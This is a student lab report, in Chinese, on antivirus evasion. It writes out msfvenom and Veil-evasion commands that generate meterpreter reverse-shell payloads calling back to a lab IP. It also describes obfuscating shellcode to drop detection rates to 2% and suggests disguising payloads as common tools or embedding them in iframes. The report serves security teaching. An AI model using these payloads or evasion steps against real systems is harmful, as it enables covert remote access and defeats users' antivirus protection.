实验目的

通过本部分内容的学习,认识到杀软局限性,提高在工作生活中对于恶意软件防范能力。

教程

实验内容

  • 使用msf编码器,msfvenom,veil-evasion,shellcode编程等免杀工具。
  • 通过组合应用各种技术实现恶意代码免杀。
  • 用另一电脑实测,在杀软开启的情况下,可运行并回连成功。

实验步骤

(一)正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

  • 使用msfvenom直接生成可执行文件,virus total报毒

  • 使用msfvenom编码器一次或多次报毒率没有多大区别
  • 使用veil-evasion生成可执行文件,安装veil之后输入veil进入操作界面
  • 使用use evasion进入evasion操作界面,可以看到可使用的payload有很多
  • 输入list列出所有的payload,使用c/meterpreter/rev_tcp.py,使用命令生成文件
use 7                    //c/meterpreter/rev_tcp.py所在选项
set LHOST 192.168.64.129 //设置返回地址
set LPORT 5315 //设置端口号
generate //执行命令
  • 使用options显示参数
  • 输入文件名,保存在/var/lib/veil/output/compiled
  • 用virscan检测,报毒率减少了许多

  • 使用c语言生成shellcode数组
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.64.129 LPORT=5315 -f c
  • 生成可执行文件,回连成功
  • virscan报毒率为23%

(二)通过组合应用各种技术实现恶意代码免杀

  • Linux下生成shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.64.129 LPORT=5315 -f c
  • 使用vs编译调用shellcode
  • 运行生成的文件,回连成功
  • virscan报毒率变成了10%,看来胜利在望。
  • 通过老师的方法报毒率减少了很多,那是不是可以把shellcode处理一下,使杀软检测不到特征码呢?于是我用之前计算机实习时的一个程序随机的向shellcode中添加了50个/?将shellcode的代码进行处理后使用函数调用,运行后腾讯电脑管家没有报错,回连成功。

  • 用virscan进行扫描,只有瑞星的杀毒软件查出了病毒。(ps:瑞星真的强大,每次都能查出病毒,事实证明电脑管家可以换掉了)

(三) 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

  • 系统:win10
  • 杀软:腾讯电脑管家 12.11
  • 与本机杀软共生
  • 回连成功

实验中遇到的问题

  • 一开始使用vs生成空项目,添加cpp文件之后编译总是报错,查找资料后发现应该使用的是vc++的Windows控制台应用程序。
  • 用自己编的代码生成程序的时候报错,调试后发现是循环的条件不对,不能单纯通过'\0'来判断是否在数组的结尾,修改之后编译成功。

实验中进行测试的程序

序号 程序名 来源 virscan
1 backdoor1.exe msfvenom直接生成 48%(19/39)
2 zyl_backdoor1.exe Veil-evasion 23%(9/39)
3 test1.exe Linux c+shellcode 23%(9/39)
4 rezyl1.exe UPX压缩壳 15%(6/39)
5 zyl1.exe vs c+shellcode(简单) 10%(4/39)
6 zyl3.exe vs c+shellcode(自定义) 2%(1/39)

基础问题回答

  • 杀软是如何检测出恶意代码的?

    • 如果一个可执行文件中包含特征码,即可执行文件中有一段或多段可疑数据如shellcode之类的,杀软就认为这是恶意代码
    • 如果一个程序有特征码且有未经授权的非法动作时,杀软检测为恶意代码
  • 免杀是做什么?
    • 免杀能够让恶意代码绕过杀软的检测进行非法操作
  • 免杀的基本方法有哪些?
    • 改变特征码,如加壳、c语言调用shellcode
    • 改变行为,尽量使用反弹式连接、减少对系统的修改
    • 非常规方法可使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中

离实战还缺些什么技术或步骤?

  • 将代码编写成一个函数进行调用
  • 使用多种工具对代码加壳、压缩、伪装等
  • 将代码嵌入网页的iframe中等
  • 将代码伪装成常用工具等

实验总结

这次实验在安装veil的时候电脑坏了,重装系统之后用了老师的虚拟机。总的来说实验难度不是很大,主要是在安装各个程序的时候会出现问题。就实验结果来看,自己编的调用shellcode的程序在virscan中的报毒率是最低的,只有一个软件报毒,我电脑上安装的腾讯电脑管家也显示没有发现病毒,虽然实验一步步做下来很有成就感,但是因为之前电脑坏了就有点后怕,做实验之前一定要备份!!安装一个靠谱杀软真的太重要了!

参考资料

2017-2018-2 20155315《网络对抗技术》Exp3:免杀原理与实践的更多相关文章

  1. 20145215《网络对抗》Exp3 免杀原理与实践

    20145215<网络对抗>Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有 ...

  2. 20155227《网络对抗》Exp3 免杀原理与实践

    20155227<网络对抗>Exp3 免杀原理与实践 实践内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等 ...

  3. 20155232《网络对抗》Exp3 免杀原理与实践

    20155232<网络对抗>Exp3 免杀原理与实践 问题回答 1.基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测 特征码:一段特征码就是一段或多段数据. 如果一个可执 ...

  4. 20155302《网络对抗》Exp3 免杀原理与实践

    20155302<网络对抗>Exp3 免杀原理与实践 实验要求 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编 ...

  5. 20155323刘威良《网络对抗》Exp3 免杀原理与实践

    20155323刘威良<网络对抗>Exp3 免杀原理与实践 实践内容 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellco ...

  6. 20155333 《网络对抗》Exp3 免杀原理与实践

    20155333 <网络对抗>Exp3 免杀原理与实践 基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测: 启发式恶意软件检测: 基于行为的恶意软件检测. (2)免杀是做 ...

  7. 20145307陈俊达《网络对抗》Exp3 免杀原理与实践

    20145307陈俊达<网络对抗>Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的 ...

  8. 20155218《网络对抗》Exp3 免杀原理与实践

    20155218<网络对抗>Exp3 免杀原理与实践 一.使用msf生成后门程序的检测 (1)将上周msf生成的后门文件放在virscan.org中进行扫描,截图如下: (2)使用msf时 ...

  9. 20155239吕宇轩《网络对抗》Exp3 免杀原理与实践

    20155239吕宇轩<网络对抗>Exp3 免杀原理与实践 实验过程 Kali使用上次实验msfvenom产生后门的可执行文件,上传到老师提供的网址http://www.virscan.o ...

  10. 20155338《网络对抗》Exp3 免杀原理与实践

    20155338<网络对抗>Exp3 免杀原理与实践 实验过程 一.免杀效果参考基准 Kali使用上次实验msfvenom产生后门的可执行文件,上传到老师提供的网址http://www.v ...

随机推荐

  1. MDT配置数据库

    连接数据库可以使用数据库账户和Windows集成身份验证两种方法:使用数据库账户:1.连接数据库时选择TCP/IP2.在数据库中添加相应规则后,配置数据库3.在CustomSettings.ini文件 ...

  2. mysql 8.0.11 安装(windows)

    mysql本地安装(windows) 一.安装包下载 从官网下载安装包,地址:https://dev.mysql.com/downloads/mysql/ 二.配置 解压到本地,然后在目录下新建my. ...

  3. 详细说明php的4中开源框架(TP,CI,Laravel,Yii)

    ThinkPHP简称TP,TP借鉴了Java思想,基于PHP5,充分利用了PHP5的特性,部署简单只需要一个入口文件,一起搞定,简单高效.中文文档齐全,入门超级简单.自带模板引擎,具有独特的数据验证和 ...

  4. 局域网不同网段访问设置WINS域名服务系统

    大背景 公司两台路由器,网段不同 路由器:192.168.0.1 路由器:192.168.1.1 路由器2需要访问路由器1的机子,初始是ping不通的. 方案 使用IP设置里WINS设置,即可轻松实现 ...

  5. 如何访问WEB-INFO目录中的jsp文件

    说明:应用服务器把WEB-INF指为禁访目录,即直接在浏览器里是不能访问的. 如何访问如下: 1.在项目的web.xml文件中去配置servlet <servlet> <servle ...

  6. 关于安装AndroidStudio中遇见的问题

    安装AndroidStudio: 最近,准备了解下Android,就买了本<第一行代码Android:第二版>, 最开始就是安装AndroidStudio,刚开始以为安装的挺容易的,结果… ...

  7. AOP的本质

    AOP的本质是HOOK: HOOK的本质是:新函数包含原函数或新函数替换原函数: 需要解决的问题: 1.新函数的生成: 2.新函数的调用机制: 3.原函数的调用机制: 新函数的生成: 1.将已有的动态 ...

  8. linux下压缩与解压缩

    版权声明: https://blog.csdn.net/zdp072/article/details/27584773 [ tar具体解释: ] -c: 建立压缩档案 -x:解压 -t:查看内容 -r ...

  9. Linux - Seafile

    0. 摘要 Seafile 是一款开源的企业云盘,注重可靠性和性能.支持 Windows, Mac, Linux, iOS, Android 平台.支持文件同步或者直接挂载到本地访问. AWS(亚马逊 ...

  10. HBase学习之路 (七)HBase 原理

    系统架构 错误图解 这张图是有一个错误点:应该是每一个 RegionServer 就只有一个 HLog,而不是一个 Region 有一个 HLog. 正确图解 从HBase的架构图上可以看出,HBas ...